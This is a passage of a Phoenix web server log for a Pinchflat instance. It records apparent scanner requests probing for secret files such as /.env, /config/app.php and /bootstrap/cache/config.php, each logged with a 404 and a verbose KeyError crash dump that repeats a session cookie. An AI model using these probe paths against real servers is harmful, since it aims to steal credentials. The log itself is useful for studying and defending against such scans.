"x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 42, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 42, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:28.910 [info] GET /live/.env 17:14:28.911 [debug] QUERY OK source="settings" db=0.1ms idle=824.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.911 [debug] QUERY OK source="settings" db=0.1ms idle=552.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:28.911 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:28.912 [error] #PID<0.11810.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 43) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /live/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /live/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/live/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 43, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11810.0>, params: %{}, path_info: ["live", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/live/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW54WzJGHScAABVKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/live/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 43, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /live/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/live/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 43, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:29.183 [info] GET /config/app.php 17:14:29.183 [debug] QUERY OK source="settings" db=0.1ms idle=546.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:29.184 [debug] QUERY OK source="settings" db=0.0ms idle=546.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:29.184 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:29.184 [error] #PID<0.11811.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 44) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config/app.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 44, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11811.0>, params: %{}, path_info: ["config", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config/app.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW65TiIIuCEcABVMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 44, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 44, host_info: :undefined }}, assigns: %{}, (truncated) 17:14:29.455 [info] GET /config/services.php 17:14:29.455 [debug] QUERY OK source="settings" db=0.1ms idle=544.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:29.456 [debug] QUERY OK source="settings" db=0.0ms idle=544.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:29.456 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:29.456 [error] #PID<0.11812.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 45) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config/services.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/services (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/services.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 45, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11812.0>, params: %{}, path_info: ["config", "services"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config/services.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsW76Njxk8EokABVOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/services.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 45, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/services (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/services.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 45, host_info: :undefined (truncated) 17:14:29.728 [info] GET /bootstrap/cache/config.php 17:14:29.729 [debug] QUERY OK source="settings" db=0.1ms idle=800.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:29.729 [debug] QUERY OK source="settings" db=0.0ms idle=545.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:29.729 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:29.730 [error] #PID<0.11813.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 46) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /bootstrap/cache/config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bootstrap/cache/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bootstrap/cache/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 46, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 